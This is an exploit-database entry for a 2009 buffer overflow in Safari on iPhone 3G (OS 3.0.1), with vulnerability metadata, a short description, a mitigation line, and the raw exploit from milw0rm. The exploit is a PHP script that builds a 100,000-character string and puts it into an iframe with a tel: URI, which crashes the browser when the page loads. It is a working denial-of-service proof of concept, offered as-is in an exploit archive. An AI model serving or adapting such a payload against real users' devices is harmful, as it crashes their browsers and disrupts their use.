header-logo
Suggest Exploit
vendor:
Iphone OS
by:
cloud
9.3
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: Iphone OS
Affected Version From: 3.0.1
Affected Version To: 3.0.1
Patch Exists: Yes
Related CWE: N/A
CPE: a:apple:iphone_os
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Iphone 3G
2009

Apple Safari Iphone Crash using tel

A buffer overflow vulnerability exists in Apple Safari on Iphone 3G, OS 3.0.1. Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear. The exploit code is a PHP script that sets a time limit of 0 and creates a variable with 100000 'A's. This variable is then used in an iframe src tag with a tel: prefix.

Mitigation:

Upgrade to the latest version of Safari on Iphone 3G, OS 3.0.1.
Source

Exploit-DB raw data:

# Apple Safari Iphone Crash using tel:
# Found by cloud : cloud[at]madpowah[dot]org
# http://blog.madpowah.org

# Tested on Iphone 3G, OS 3.0.1
# Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear

# Exploit:

<?php
set_time_limit(0);
$var = "";
for ($i=0; $i<100000; $i++){
       $var = $var . "A";
}
echo '<iframe src="tel:' . $var .'"></iframe>';
?> 

# milw0rm.com [2009-09-14]